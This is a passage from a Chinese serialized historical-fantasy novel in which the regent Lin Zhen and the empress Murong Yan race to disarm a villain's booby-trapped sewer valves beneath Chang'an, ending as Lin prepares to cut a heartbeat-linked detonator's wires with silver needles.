“没有不可能!”林臻的目光,如同两把锋利的刀子,死死地,钉在他的脸上,“李大人,我不管你用什么方法!就算是让你的工匠们,不吃不喝不睡,你也必须,在一个月之内,给我,完成任务!” “完不成,你就提着你的脑袋,来见我!” 李格被林臻那股不容置疑的、铁血的杀气,给吓得,双腿一软,一屁股,瘫坐在了椅子上。 “王爷……臣……臣……” “李大人。”就在这时,一直没有说话的慕容嫣,缓缓地开口了。 她的声音,很轻,很柔,却带着一股,让人无法抗拒的力量。 “朕知道,这个任务很难。” “但是朕也希望你能明白。” 她站起身,走到李格的面前,亲自,将他从椅子上,扶了起来。 “你的身后,是长安城数百万的百姓。” “他们的身家性命,现在就全都握在你的手里了。” “你是大乾的工部尚书。为国分忧,为民解难,本就是你的,职责所在。” “朕相信你。” “朕和王爷,还有这满城的百姓都在等着你。” 慕容嫣的这番话,软硬兼施,恩威并用。 李格的眼中,瞬间,便涌上了感动的泪水。 他看着眼前这位年轻的、绝美的、却又充满了智慧和担当的女帝,心中,那点因为恐惧和为难而生出的退缩之意,瞬间,烟消云散! 取而代之的,是一股前所未有的,责任感和使命感! “陛下!王爷!”他噗通一声,跪倒在地,用尽全身的力气,重重地,磕了一个头! “臣!万死不辞!” “臣,就算是拼了这条老命!也一定,在一个月之内,完成任务!绝不辜负,陛下和王爷的,信任!” 第1137章 最后一个总阀门 李格的这声“万死不辞”,像一记重锤,敲在了紫宸殿内每一个人的心上。 杜如晦和周兴,也立刻站了出来,躬身行礼。 “陛下,王爷!请下旨吧!老臣等,愿追随陛下与王爷,与这贼老天,斗上一斗!” 他们的声音,同样充满了决绝。 慕容嫣看着眼前这三位已经年过花甲,却依旧愿意为国为民,拼上性命的老臣,心中,也是一阵暖流涌过。 她知道,她不是一个人在战斗。 她的身后,有她的夫君,有这些忠心耿耿的臣子,还有那千千万万淳朴善良的百姓。 她深吸一口气,目光,变得无比坚定。 “好!” “那我们就开始吧!” 一场史无前例的“长安保卫战”,在这样一个寂静的深夜,悄然拉开了序幕。 从第二天开始,整个长安城,都变成了一个巨大无比的,热火朝天的大工地。 以“喜迎凯旋庆典,修缮都城,彰显国威”为名,数十万的京营士卒和工匠、民夫,被动员了起来。 他们以坊为单位,将整个长安城划分成了上百个施工区域。 白天他们拓宽街道,粉刷墙壁,修葺屋顶,将整个长安城,装点得焕然一新,喜气洋洋。 而到了夜晚,当百姓们都进入梦乡之后,真正核心的工程,才在黑暗的掩护下,悄然展开。 无数的工匠,在“夜枭”死士的护卫和监督之下,进入了那如同蛛网般,错综复杂的,地下水道系统。 他们打着火把,拿着林臻连夜根据记忆和堪舆图,重新绘制出的、标注了所有可疑节点的改造图纸,开始对那些被孔志谦动了手脚的阀门、接口,进行逐一的,排查和修复。 这是一项无比艰苦,也无比危险的工作。 地下水道里,空气污浊,充满了令人作呕的恶臭。 黑暗中,还时常有毒虫和老鼠出没。 更要命的是,他们不知道孔志谦那个疯子除了改造管道之外,是否还在这些地方留下了其他的致命陷阱。 事实上,他们的担心很快就应验了。 在工程开始的第三天,一支负责排查朱雀门总阀门的工匠小队,就不幸触发了孔志谦留下的一个歹毒机关。 那是一个极其隐蔽的、与阀门联动的毒气陷阱。 当工匠们试图用蛮力,将那个被焊死的阀门破坏时,一股无色无味的剧毒气体,瞬间,从管道的缝隙中,喷涌而出! 十几名工匠,和负责护卫他们的“夜枭”死士,甚至连惨叫声,都没来得及发出一声,便在瞬间,七窍流血,倒地身亡。 这个消息,第一时间,传回了皇宫。 栖凤阁内,气氛,凝重到了极点。 慕容嫣看着那份由赵无忌呈上来的、写满了牺牲者名单的奏报,那只端着茶杯的手,都在微微地发抖。 她依旧穿着那身神凤降世裙,只是此刻,这件华贵无双的帝王之袍,也仿佛感受到了主人的悲痛与愤怒。 那极致玄黑的苏锦底料,在殿内明明灭灭的烛光下,显得格外深沉,如同凝固的、化不开的悲伤。 那只用真金线绣成的擎天巨凤,也收敛了所有的光芒,凤目低垂,仿佛在为那些无辜死去的生命,而默哀。 那长达五丈的墨金色苏锦拖尾,凌乱地铺陈在她身后的金砖地面上,像一片被乌云笼罩的、失去了所有生机的,黑金色荒原。 “畜生!这个孔志谦!他就算是死了,也要拉这么多人给他陪葬!”她猛地将手中的茶杯,狠狠地摔在地上! “啪!”的一声脆响,上好的官窑青瓷,瞬间,碎裂一地。 林臻走上前,轻轻地,将她揽入怀中。 “嫣儿,别这样。这不是你的错。”他柔声安慰道。 “怎么不是我的错?!”慕容嫣的眼圈,瞬间红了,“他们都是我大乾的子民!他们是为了我,为了守护这座城市才死的!我……我对不起他们……” 她将脸,深深地埋在林臻的怀里,压抑的、痛苦的呜咽声,从她的喉咙里,传了出来。 林臻的心,也像是被针扎一样,疼得厉害。 他知道,她把每一个子民的性命,都看得比自己的命,还重。 他只能紧紧地抱着她,用自己的体温,去给她一丝丝的安慰。 “嫣儿,听我说。”许久,他才缓缓地开口,声音,带着一丝冰冷的、彻骨的寒意。 “逝者已矣。我们现在,能为他们做的不是在这里悲伤,而是要加倍地完成我们的计划!” “我们要让他们的血不白流!” “孔志谦不是喜欢玩游戏吗?不是喜欢设置陷阱吗?” “好!那我们就,陪他玩到底!” 他扶着慕容嫣的肩膀,让她看着自己的眼睛,一字一句地说道:“从现在开始,所有排查工作,由我亲自带队!” “不行!”慕容嫣一听,想也不想地,便立刻反对,“夫君!地下那么危险,你……你不能去!” “我必须去!”林臻的语气,不容置疑,“我是大乾的摄政王,是三军主帅!这种时候,我岂能,躲在后面,让我的士兵和子民,去为我送死?!” “而且,”他的眼中,闪过一丝自信的光芒,“论到对机关陷阱的了解,这个世界上,恐怕,还没有人,能比得过我。我去,才能将伤亡,降到最低!” “可是……”慕容嫣还想说什么。 “没有可是!”林臻打断了她,“嫣儿,你忘了我们之前的约定了吗?你负责坐镇后方,安抚人心,调度全局。而我,负责在前面,为你,冲锋陷阵,扫平一切障碍!” “这是我们,各自的,战场!” 看着林臻那双坚定不移的眼睛,慕容嫣知道,她,劝不住他。 她只能伸出手,紧紧地,握住他的手,声音哽咽地说道:“夫君,你……你一定要,答应我。一定要,平安回来。” “我答应你。”林臻低头,在她的额头上,印下了一个,深深的吻。 从那天起,林臻便真的,日夜都泡在了那阴暗潮湿的,地下水道里。 他亲自带着最精锐的工匠和“夜枭”,一个节点一个节点地排查,一个机关一个机关地拆解。 他凭借着自己那神乎其技的武功,和对机关术的精深造诣,一次又一次地,化解了孔志"谦"留下的那些致命陷阱。 虽然,依旧有伤亡。 但比起最开始,已经好了太多太多。 而慕容嫣,则在皇宫里,撑起了另一片天。 她不分昼夜地,处理着从各地传回来的,堆积如山的政务。 安抚民心,调拨钱粮,严惩贪腐,提拔贤能…… 每一项工作,她都做得,井井有条,滴水不漏。 在她的铁腕治理和仁德感召之下,整个长安,乃至整个大乾,非但没有因为这场潜在的巨大危机而陷入混乱,反而,爆发出了一种前所未有的,凝聚力和向心力! 这对年轻的帝后夫妻,一个在明,一个在暗,一个主外,一个主内,用他们自己的方式,并肩作战,共同守护着,这个他们深爱着的,国家。 时间,就在这样紧张而充实的节奏中,一天一天地过去。 转眼,二十天,过去了。 距离林臻给自己定下的,一个月期限,只剩下了最后十天。 而长安城地下,那九个最关键的也是最危险的总阀门,也只剩下了最后一个。 ——位于皇城正北,玄武门下的,总阀门! 只要能将这个最后的隐患,也彻底排除。 这场与时间的赛跑,他们就赢了! 第1138章 孔志谦这个疯子 玄武门,是皇城的正北门,也是通往皇宫禁地的,最后一道,也是最重要的一道屏障。 这里的防卫,远比其他任何一座城门,都要森严百倍。 而位于其下方的那个排水总阀门,更是整个长安城地下水网的,核心枢纽。 林臻知道,孔志谦那个疯子,如果真的留下了什么压箱底的、最致命的杀招,那一定,就藏在这里! 这一夜,月黑风高。 林臻亲自带着鬼影,和一百名最精锐的“夜枭”死士,以及工部最顶尖的十名机关大师,悄无声息地,潜入了玄武门的地下。 这里的地下空间,比之前任何一处,都要宽阔得多,也复杂得多。简直就像一个巨大的、地下的迷宫。 通道四通八达,墙壁上,布满了各种各样、大大小小的管道和阀门。空气中,那股令人作呕的恶臭,也更加浓烈。 众人打着火把,小心翼翼地,深一脚浅一脚地,往前探索着。 气氛,压抑到了极点。 所有人都知道,这将是,最后的,也是最危险的一战。 “王爷,您看!”走在最前面的一名工匠,突然指着前方的墙壁,发出一声惊呼。 众人顺着他手指的方向望去,只见在前方的通道尽头,出现了一扇巨大的、由整块玄铁打造的,圆形闸门。 闸门之上,雕刻着一个狰狞的、仿佛在咆哮的,恶鬼头像。 而在闸门的正中央,则是一个复杂的、由九个同心圆环组成的,密码转盘。 “就是这里了。”林臻的眼中,闪过一丝凝重的光芒。 他知道,闸门的后面,就是那个,关系着整个长安城命运的,总阀门。 但想要打开这扇门,就必须,先解开上面这个,该死的密码。 “李师傅,”林臻转头,看向身边那位年纪最大的工匠,“你来看看,这东西,有办法,破解吗?” 那位姓李的老工匠,是工部资格最老,也是技术最好的机关大师。他颤颤巍巍地走上前,借着火光,仔細地观察着那个密码转盘,眉头,拧成了一个疙瘩。 许久,他才摇了摇头,声音里,带着一丝绝望。 “王爷……这……这是‘九宫连环锁’啊!是传说中,已经失传了数百年的,鲁班秘术!” “这种锁,九个圆环,环环相扣。每转动一环,其他的八环,都会随之发生变化。其组合之多,变化之繁,简直……简直比天上的星辰,还要多!想要破解它,除非……除非是神仙下凡,否则,根本不可能啊!” “而且,”他的声音,变得更加恐惧,“这种锁,还有一个最歹毒的特性。那就是,只有一次,尝试的机会!一旦输错了密码,锁芯内部的机括,便会触动一个自毁装置!届时,整个闸门,连同后面的总阀门,都会在瞬间,被彻底炸毁!我们……我们所有人,也都会……” 他后面的话,没敢说出来。 但所有人都明白他的意思。 只有一次机会! 错了,就是万劫不复! 所有人的心,都沉到了谷底。 这他娘的,还怎么玩? 这根本就是一个,无解的死局! 孔志谦这个王八蛋!他真是把事情,做绝了! “王爷,我们……”鬼影看着林臻,声音,也带上了一丝颤抖。 林臻没有说话。 他的目光,死死地,钉在那个复杂的密码转盘之上。 他的大脑,在以前所未有的速度,疯狂地运转着。 九宫连环锁……鲁班秘术…… 他知道,李师傅说的没错。从纯粹的机关术角度来看,这东西,确实是无解的。 但是…… 这个世界上,没有真正无解的局。 所有的谜题,都一定会有,解开它的,钥匙。 而解开这个谜题的钥匙,一定,也和孔志谦那个疯子,脱不了关系! 他为什么要用“九宫连环锁”? 九…… 林臻的脑海中,突然,灵光一闪! 他想起来了! 孔志谦的日记! 在他那本写满了疯狂念头的日记里,曾经,不止一次地,提到过一个数字! ——九! “九,乃数之极也。九九归一,方得始终。” “吾之大业,起于九,亦将,终于九!” …… 这些看似疯言疯语的话,在这一刻,却像是一道道闪电,劈开了林臻那脑中的迷雾! 九! 这个密码的答案,一定,就藏在,与“九”有关的,某个地方! 可到底是什么呢? 九座城门?九条地龙?九重天? 不对,不对…… 这些,都太明显了。以孔志谦那个自负到变态的性格,他绝不会,把密码,设置得这么简单。 一定,还有什么,被自己忽略了的,细节! 林臻闭上眼睛,强迫自己,将所有关于孔志谦的信息,关于他生平的所有细节,都在脑海中,重新,过了一遍。 从他出生,到他成名,到他叛乱,再到他最后的疯狂…… 突然! 他的脑海中,定格在了一个画面上! 那是,他第一次,在曲阜孔家,见到年少的孔志谦时的情景。 那时候的孔志谦,还是一个意气风发的、被誉为“千年不遇之奇才”的翩翩少年。 他记得,当时,孔家的长辈,为了炫耀孔志"谦"的才学,曾让他,当着所有宾客的面,以“九”为题,作一首诗。 而孔志谦,几乎是想也不想,便脱口而出。 那首诗,林臻至今,还记忆犹新。 “九转丹成惊天地,” “九重天外闻凤鸣。” “九幽之下蛟龙泣,” “九世轮回一场空。” …… 这首诗! 这首充满了狂傲、虚无和毁灭气息的诗! 这不正是,孔志谦一生的,写照吗?! 而这首诗里,同样,也隐藏着,四个“九”! 九转丹!九重天!九幽!九世! 这会不会,就是解开这“九宫连环锁”的,密码?! 林臻的心脏,狂跳起来! 他知道,这只是一个猜测。一个没有任何根据的,大胆的猜测。 他只有一次机会。 赌对了,整个长安,数百万的百姓,都能活。 赌错了,他,和身后的所有人,都将,死无葬身之地! 整个长安,也将,彻底沦陷! 他看了一眼身后,那些虽然疲惫,却依旧用充满了信赖和期盼的目光,看着他的弟兄们。 他又想起了,在皇宫里,那个还在等着他回去的,心爱的女人。 他深吸一口气。 眼中,闪过了一丝,前所未有的,决绝! 他没有再犹豫。 他迈步,走到了那扇巨大的、狰狞的,玄铁闸门之前。 他伸出手,放在了那冰冷的、复杂的,密码转盘之上。 然后,他按照那首诗的顺序,开始,转动了,第一个,圆环。 “九转丹……” 他转动了,代表着“丹”字的那个方位。 “咔嚓。”一声轻响。 然后,是第二个。 “九重天……” “咔嚓。” 第三个。 “九幽……” “咔嚓。” …… 祠堂内,安静得,落针可闻。 所有人的心,都提到了嗓子眼。 他们看着林臻的每一个动作连呼吸都快要忘记了。 时间在这一刻仿佛被无限地拉长了。 终于,当林臻转动了最后一个代表着“九世”的圆环时。 整个密码转盘,突然,发出了一阵耀眼的,白光! 紧接着。 “轰隆隆——” 那扇巨大的、重达万斤的玄铁闸门竟然缓缓地向上升起! 成功了! 他们,成功了! “王爷!成功了!我们成功了!” 鬼影和身后的“夜枭”们,在短暂的呆滞之后,爆发出了一阵,劫后余生的,震天欢呼! 然而,林臻没有半分的喜悦。 他的目光,穿过那扇缓缓升起的闸门,看向了门后那片,深不见底的,黑暗。 他的脸上,非但没有半分的轻松,反而变得比之前任何时候都更加凝重! 因为他看到。 在闸门的后面,那个巨大的如同怪兽之口一般的总阀门之上。 竟然还绑着一个人! 一个他们都以为早已经死了的人! ——孔志谦! 第1139章 他竟然没死 他竟然还没死! 这个念头,像一道惊雷,在林臻和所有“夜枭”的脑海中,轰然炸响! 所有人的脸上,都露出了难以置信的神情! 只见闸门之后,那个巨大的、锈迹斑斑的总阀门之上,孔志谦正被数十根粗大的铁链,以一个极其诡异的姿势,牢牢地捆绑在上面。 他那件原本还算整洁的儒衫,早已变得破烂不堪,上面沾满了血污和泥垢。他的头发,像一蓬枯草,凌乱地披散着,遮住了大半张脸。 他的四肢,都以一个不自然的角度扭曲着,显然是被硬生生打断了。 但他还活着。 他那双隐藏在乱发之后的眼睛,正死死地盯着林臻,那眼神像一条潜伏在黑暗中的毒蛇,充满了怨毒、疯狂,和一种……阴谋得逞的诡异快感! “林臻……你……你终于来了……” 他的声音沙哑,干涩,像是从地狱里爬出来的恶鬼在低语。 “我等你,等了很久了。” “你没死?”林臻的瞳孔,猛地一缩声音冰冷到了极点。 他想不明白! 他明明,亲手扭断了他的脖子! 他明明让人将他的尸体扔进了河里! 他怎么可能,还活着?! “呵呵……呵呵呵……”孔志谦发出了神经质的、低沉的笑声,笑声在空旷的、潮湿的地下空间里,回荡着,显得格外刺耳。 “想让我死?哪有那么容易?” “我告诉你,林臻。我练过一种,西域传来的,神功。名为,‘龟息大法’!可以,让我陷入一种,假死的状态!别说是你,就算是神仙下凡,也休想看出破绽!” “你以为,你抓住了我就赢了吗?你以为,你毁了我的计划就赢了吗?” “天真!真是,太天真了!” 他的眼中,迸发出了骇人的、疯狂的光芒! “我告诉你!这一切都还在我的计算之中!” “这个总阀门,才是我的最终杀招!” 他看着林臻,脸上,露出了一个魔鬼般的、残忍的笑容。 “你看,我把自己和这个阀门绑在了一起。” “我的心脏,连接着一个极其精密的压力机关。只要我的心跳一停止……或者你们试图将我从这里,解下来……” “那这个阀门,连同整个玄武门下的地基,都会在瞬间,被我提前埋设好的,数万斤的黑火药彻底引爆!” “届时,山崩地裂!洪水倒灌!” “整个长安城,都将在瞬间变成一片汪洋泽国!” “林臻!你不是战神吗?你不是想拯救天下苍生吗?现在,我就给你一个,选择的机会!” “要么,你杀了我!让整个长安城,给我陪葬!” “要么,你就眼睁睁地,看着我,活下去!然后,等待着下一场大雨的降临!” “你选啊!” “哈哈……哈哈哈哈哈哈!” 他疯狂地大笑着,笑声中充满了无尽的、病态的快感! 他终于,等到了这一刻! 他终于,将林臻,逼入了,一个真正的,两难绝境! 一个,比任何刀山火海,都更让人绝望的死局! 无论林臻怎么选,他都是输家! 这才是他孔志谦,一生之中最完美的杰作! 祠堂内,陷入了死一般的寂静。 所有“夜枭”的脸上,都写满了震惊、愤怒,和深深的,无力感。 他们看着那个被绑在阀门上,状若疯魔的男人,第一次感觉到了什么叫真正的恐惧。 这个男人已经不是人了。 他是一个,彻头彻尾的魔鬼! 所有人的目光,都下意识地看向了林臻。 他们想看看,他们的王爷,他们的主心骨,在面对这样一个几乎无解的死局时会做出什么样的选择。 然而,让他们意外的是。 林臻的脸上,并没有他们想象中的愤怒或是绝望。 他只是静静地看着孔志谦,那双深邃的眼睛里一片平静,不起波澜。 仿佛,孔志谦那番足以让天地变色的威胁,在他听来不过是一个,无聊的笑话。 许久,他才缓缓地开口,声音,依旧是那么的,平淡。 “孔志谦,你是不是觉得,你赢定了?” 孔志谦的笑声,戛然而止。 他有些意外地,看着林臻。 他想不明白,为什么,到了这个时候,这个男人还能如此冷静? “我承认,你的这个局,布得,很精妙。”林臻淡淡地说道,“把自己当成最后的,也是最关键的,一枚棋子。用自己的心跳,来做整个长安城的,倒计时。” “只可惜……” 林臻的嘴角,突然,勾起了一抹,冰冷的,带着一丝怜悯的,弧度。 “你千算万算,却又一次,算漏了一点。” “你以为,我林臻,会跟你一样,去做选择题吗?” “不。” “我从来,不做选择。” “我只解决问题。” 说完,他不再看孔志谦一眼。 他猛地,转过身,对着他身后,那十名早已吓得面如土灰的,工部机关大师,沉声喝道:“李师傅!” 那位年过花甲的老工匠,身体猛地一颤,下意识地,应了一声:“王……王爷……臣在……” “我问你!”林臻的目光,如同两把锋利的刀子,死死地,钉在他的脸上! “这个机关,它的核心,是连接着孔志谦心跳的压力装置,对不对?” “是……是的,王爷……”李师傅哆哆嗦嗦地回答,“从……从理论上来说,是这样的……” “那如果,”林臻的声音,变得愈发冰冷,“如果,我们能在一个极短的几乎可以忽略不计的时间之内,同时切断它所有的连接,并且,替换掉它的核心动力源。有没有可能,在不触发爆炸装置的情况下,将它,彻底拆除?” 李师傅闻言,整个人,都傻了。 同时,切断? 替换,核心动力源? 这……这怎么可能?! 那个压力装置,精密到了极点!连接着它的线路,比头发丝还要细!而且,全都隐藏在阀门内部,错综复杂! 想要在不触动机关的情况下,将它拆除,简直就是,天方夜谭! “王爷……这……这……这需要,对机关内部的结构,了如指掌!而且需要至少十个人,在同一时间,从不同的角度,用同样的速度,同样的力量,进行操作!这其中,只要有任何一个人出现哪怕一丝一毫的偏差……” “那结果,就是我们所有人都得死。” “是吗?”林臻的脸上,却露出了一丝自信的笑容。 他缓缓地,举起了自己那只,没有受伤的左手。 “如果我说我能做到呢?” “如果我说,我一个人的手,就比你们十个人,加起来,还要稳,还要快呢?” “你们,只需要告诉我,该从哪里下手!” 李师傅,和身后的所有工匠,全都呆呆地看着林臻。 他们看着他那双,在火光下依旧沉稳如山的手。 他们看着他那双,在绝境之中,依旧燃烧着熊熊火焰的眼睛。 一股莫名的,强大的信心瞬间从他们的心底升腾而起! 或许…… 或许,这个男人,真的能创造奇迹! “王爷!”李师傅的眼中,也迸发出了前所未有的光芒! 他噗通一声,跪倒在地! “臣等,愿以性命相随!助王爷,力挽狂澜!” 第1140章 我擅长解决问题 孔志谦那张被乱发和血污遮掩的脸,因为林臻那句“我只解决问题”而猛地一僵。 他预想过林臻的无数种反应。 愤怒、咆哮、绝望、崩溃…… 他甚至想好了,要如何在他最绝望的时候,用最恶毒的语言去嘲讽他,去欣赏他那副无能为力的、可悲的模样。 可他唯独没有想到,林臻会如此平静。 平静得,就像是他说要引爆的不是数万斤的黑火药,不是要淹没整个长安城,而只是一个无聊的、小孩子的玩具。 这种平静让孔志谦第一次,感觉到了一丝发自心底的寒意。 一种猎物脱离了掌控的不安。 “解决问题?哈哈……林臻,你别在这里故弄玄虚了!”孔志谦强行压下心中的不安,再次疯狂地大笑起来,“你当这是什么?小孩子过家家吗?这是我穷尽毕生心血,为你量身打造的,绝杀之局!你凭什么解决?!” “就凭我。” 林臻没有再看他,他的目光,已经完全集中在了那十名工部的机关大师身上。 “李师傅,我需要你们,现在,立刻,将这个压力装置的所有结构图,所有可能的线路走向,全都,画出来!” “画……画出来?”李师傅整个人都懵了。 这东西,是传说中的鲁班秘术,他们连见都没见过,更别提什么结构图了。 “王爷,这……这东西早已失传,我们……” “没有失传!”林臻的声音,斩钉截铁,“孔志谦能造出来,就说明,它的图纸,一定还存在于世!而且他既然敢把这个东西用在这里,就说明他一定研究过它!” 林臻的目光,扫过那片漆黑的、深不见底的地下空间。 “鬼影!” “属下在!” “立刻派人,去天牢!把孔志谦的牢房,给我一寸一寸地搜!他所有的私人物品,尤其是他那本不离身的日记,全都给我带来!” “是!” “另外!”林臻的目光,再次回到李师傅身上,“你们是工部最好的机关大师!就算没有图纸,凭借你们的经验,也一定能推演出一个大概的结构!” “我不需要你们百分之百准确!我只需要一个,可能性最大的方案!” “我要知道,它的核心动力源,在哪里!它的传导线路,有几条!它的自毁装置,最有可能,被安放在哪个位置!” “王爷……这……”李师傅和身后的工匠们,一个个面面相觑,脸上满是为难。 这简直就是,在没有任何参照物的情况下,去凭空复原一件失传了数百年的神兵利器啊! “没有时间了!”林臻的声音,如同重锤,狠狠地敲在每一个人的心上,“你们每犹豫一息,长安城,就离毁灭,更近一步!” “想想你们的家人!想想城里那数百万的,无辜百姓!” “你们,想让他们全都死在粪水和瘟疫里吗?!” 这句话,像一道惊雷瞬间劈醒了所有还在犹豫的工匠! 对啊! 他们的家人,他们的妻儿老小,现在也全都在这座城里啊! 如果长安城完了,他们就算能侥幸活下来,又能逃到哪里去? 国之不存,何以为家?! 一股前所未有的,巨大的责任感和恐惧感,瞬间攫住了他们每一个人的心脏! “王爷!”李师傅那张苍老的脸上,瞬间迸发出了决绝的光芒! 他噗通一声,再次跪倒在地,声音因为激动而颤抖! “臣等,明白了!” “王爷,请您放心!臣等就算是把这身老骨头全都拆了!也一定在最短的时间内为您推演出最可行的方案!” “好!”林臻重重地点了点头。 他知道,这些老工匠的潜力已经被他彻底逼出来了。 “需要什么,你们尽管开口!就算是天上的星星,我也想办法给你们摘下来!” “王爷,我们需要纸,笔,大量的火把,还有……最精密的,游标卡尺和量角器!” “给你们!”林臻没有丝毫的犹豫,立刻对身后的鬼影下令,“立刻回工部大营,将他们需要的东西,全都取来!半个时辰之内,我要看到东西,出现在这里!” “是!” 一场与死神的赛跑,在这样一个阴暗、潮湿、充满了恶臭的地下空间里正式展开。 那十名工部最顶尖的机关大师,在巨大的压力之下,爆发出了惊人的潜力。 他们围着那扇巨大的玄铁闸门,打着火把,拿着各种工具,开始进行最精密的,测量和推演。 争论声,计算声,图纸的描绘声不绝于耳。 而林臻就那么静静地站在一旁看着他们。 他的大脑也没有闲着。 他在复盘。 复盘他与孔志谦,从漠北,到江南,再到长安的每一次交手。 他要从那些看似毫无关联的细节之中,找出孔志谦的思维习惯,和他布置陷阱的一贯风格。 孔志谦是一个极度自负又极度谨慎的矛盾体。 他喜欢在自己的每一个作品上都留下独属于他的印记。 就像那个用他年少时所作的诗来作为密码的“九宫连环锁”。 那么这个最终的,也是最得意的杀招,他也一定会留下某种他自以为是的“签名”! 那会是什么呢? 林臻的目光再次落在了那个被绑在阀门之上,正用一种看戏般的、戏谑的眼神,看着他们的孔志谦身上。 看着他那张因为疯狂而扭曲的脸。 看着他那双充满了怨毒和快感的眼睛。 突然,林臻的目光凝固了。 他看到了。 他看到了孔志谦的嘴。 他的嘴,在无声地动着。 那口型…… 林臻的瞳孔,猛地一缩! 他认得那个口型! 那是两个字。 ——“归一”。 九九归一,方得始终! 这是孔志谦在日记里,写下的话! 也是他一生的,执念! 归一…… 林臻的心脏狂跳起来! 他瞬间明白了! 这个机关的核心,它的动力源,它的自毁装置,一定都集中在一个点上! 一个,代表着“一”的位置! 可哪里才是“一”呢? 林臻的目光如同闪电,飞快地扫过那扇巨大的玄铁闸门! 扫过上面那个,狰狞的恶鬼头像! 扫过闸门与墙壁连接的每一个铆钉! 最终,他的目光停在了闸门正上方,一块毫不起眼的凸起的石砖之上! 那块石砖从表面上看,与周围的石砖没有任何的区别。 但林臻却凭借着他那远超常人的,敏锐直觉感觉到了一丝微弱的不协调。 他走上前,伸出手在那块石砖上,轻轻地敲了敲。 “咚,咚,咚。” 声音是空的! 里面是空的! 找到了! 就在这时,李师傅也拿着一张刚刚绘制完成的,草图激动地跑了过来。 “王爷!王爷!我们推算出来了!” “这个机关,有九个主要的传导线路,分别连接着九个不同的方位!但是,它们最终,都会汇集到,一个点上!这个点,就是整个机关的,总枢纽!只要能控制住这里,我们,就有可能……” 他的话还没说完,便顺着林臻,所指的方向看了过去。 当他看到那块,平平无奇的石砖时,整个人都愣住了。 “王爷……您……您怎么知道……” “因为,”林臻的嘴角勾起了一抹冰冷的自信弧度,“我比你们更了解我们的敌人。” 第1141章 简直是神迹 李师傅看着林臻,那双浑浊的老眼里,充满了难以言喻的震撼和狂热。 他这辈子都在和各种各样的机关打交道。 他自认在机关术上的造诣,放眼整个大乾也无人能出其右。 可今天,他却被眼前这个,比他孙子还要年轻的男人给彻彻底底地上了一课。 在他们这些专业的机关大师,还在为着那些复杂的线路和结构,绞尽脑汁的时候。 他竟然单凭着对敌人心理的揣摩,就直接找到了这个死局的唯一生门! 这已经不是单纯的技术层面的碾压了。 这是一种近乎于“道”的降维打击! “王爷……神人也!” 李师傅发自内心地,感叹了一句,然后将手中的草图递了过去。 “王爷,您请看。根据我们刚才的推演,这块石砖的后面,应该就是这个压力装置的,核心控制中枢。里面,连接着九条主线路,和一条,直通孔志谦心脏的,主感应线。” “我们的想法是,由我们十个人,同时动手。其中九人,负责切断那九条主线路。而老臣,则负责在同一时间,用一个特制的,绝缘的装置,替换掉那条最关键的主感应线!” “只要我们的动作,足够快,足够同步!快到让那个压力装置都来不及反应!我们就有千分之一的可能……” 他说到这里,声音都有些发颤。 千分之一的可能。 这已经不是在拆解机关了,这简直就是在和阎王爷掰手腕。 “不必那么麻烦。” 林臻只是随意地,扫了一眼那张画满了复杂线路的草图便淡淡地开口了。 “什么?”李师傅一愣。 只见林臻伸出了自己那只没有受伤的左手。 他的手指,修长,白皙,骨节分明。 那是一双本该是握笔抚琴的艺术家手。 但此刻在这阴暗,潮湿的地下空间里。 这双手,却散发着比任何神兵利器,都更加令人心悸的稳定和力量。 “你们十个人,需要做的事情,我一个人,就够了。” 林臻的声音很平静。 但那平静之下,却蕴含着一种足以让天地都为之失色的绝对自信! “什……什么?!” 李师傅,和身后的所有工匠全都惊呆了! 一个人?! 他要一个人,同时完成十个人都未必能完成的极限操作?! 这……这怎么可能?! “王爷!万万不可啊!”李师傅急了,连忙劝道,“这……这不是开玩笑的!这九条线路,分布在不同的方位,角度,刁钻无比!而且,切断它们所需要的力道和时机,也完全不同!这其中,只要有任何一丝一毫的,差错……” “我知道。”林臻打断了他,目光却变得愈发锐利。 “所以才更需要我来。” 他看着李师傅,一字一句地说道:“因为,这个世界上只有我的手才足够快。” “只有我的心才足够静。” “也只有我才敢拿我自己的命,和这满城百姓的命,去赌这千分之一的可能!” 李师傅,彻底说不出话来了。 他看着林臻,看着他那双燃烧着熊熊火焰的坚定的眼睛。 他知道,自己再也劝不住他了。 或者说,他已经被这个男人的疯狂和担当,给彻彻底底地征服了。 “王爷……”他的声音,哽咽了,“那……那我们能为您做些什么?” “把那块石砖给我打开。”林臻的声音,冰冷而决绝,“然后告诉我,那十条线的具体位置。” “是!” …… “咔嚓。” 伴随着一声轻响,那块隐藏着生死玄机的石砖,被小心翼翼地取了下来。 石砖的后面,是一个只有碗口大小的方形凹槽。 凹槽的内部,密密麻麻地布满了如同蛛网一般,五颜六色的金属丝线! 这些丝线,比头发丝还要细错综复杂地缠绕在一起。 而在这些丝线的正中央是一块只有指甲盖大小的,正在微微闪烁着幽蓝色光芒的水晶。 那块水晶,正随着远处那个被绑在阀门上的孔志谦的心跳,而有节奏地搏动着。 “咚……咚……咚……” 每一次搏动,都像是一记重锤,狠狠地敲在在场每一个人的心上。 所有人都知道,只要这搏动的声音一停止。 那么他们所有人的生命也将随之画上句点。 “王爷,您看……”李师傅的手,指着那些密密麻麻的丝线,声音抖得不成样子。 “最外围的这九条,红、橙、黄、绿、青、蓝、紫、黑、白,分别对应着,九条主线路。” “而正中央,那条直接连接着蓝色水晶的,金色的丝线就是主感应线!” “这十条线必须在同一瞬间被切断!时间差绝不能超过百分之一息!” “而且,”他的声音,变得更加恐惧,“切断它们的必须是完全绝缘的物体!否则一旦产生任何静电反应,同样会立刻引爆!” 百分之一息! 完全绝缘! 这他娘的简直就是不可能完成的任务! 所有人的心都凉了半截。 然而林臻的脸上却依旧没有任何表情。 他只是静静地,看着那个如同恶魔心脏一般搏动着的蓝色水晶。 然后,缓缓地从怀中取出了一样东西。 那是一枚,通体漆黑温润如玉的小小扳指。 正是慕容嫣,送给他的定情信物。 他将那枚扳指戴在了自己左手的大拇指上。 然后,又从靴筒里抽出了一排九枚细如牛毛的银针。 “王爷!您……您要用这个?”李师傅看到他的动作,惊得眼珠子都快掉出来了。 用银针去切断那些比头发丝还细的金属丝线? 而且还是九枚齐发?! 这……这已经不是凡人能够做到的事情了! 这简直就是神迹! “有问题吗?”林臻的目光淡淡地扫了他一眼。 “没……没问题……”李师傅连忙,把头摇得像拨浪鼓一样。 他现在对这位王爷除了敬畏,已经不敢有任何的质疑了。 林臻没有再理会他。 他深吸一口气,将自己全身的内力缓缓运至左手。 他那只修长,白皙的原本看起来有些文弱的手,在这一刻竟然微微地泛起了一层淡淡的金色的光芒。 而他手中的那九枚银针,也仿佛赋予了生命一般,在他的指间微地颤动着。 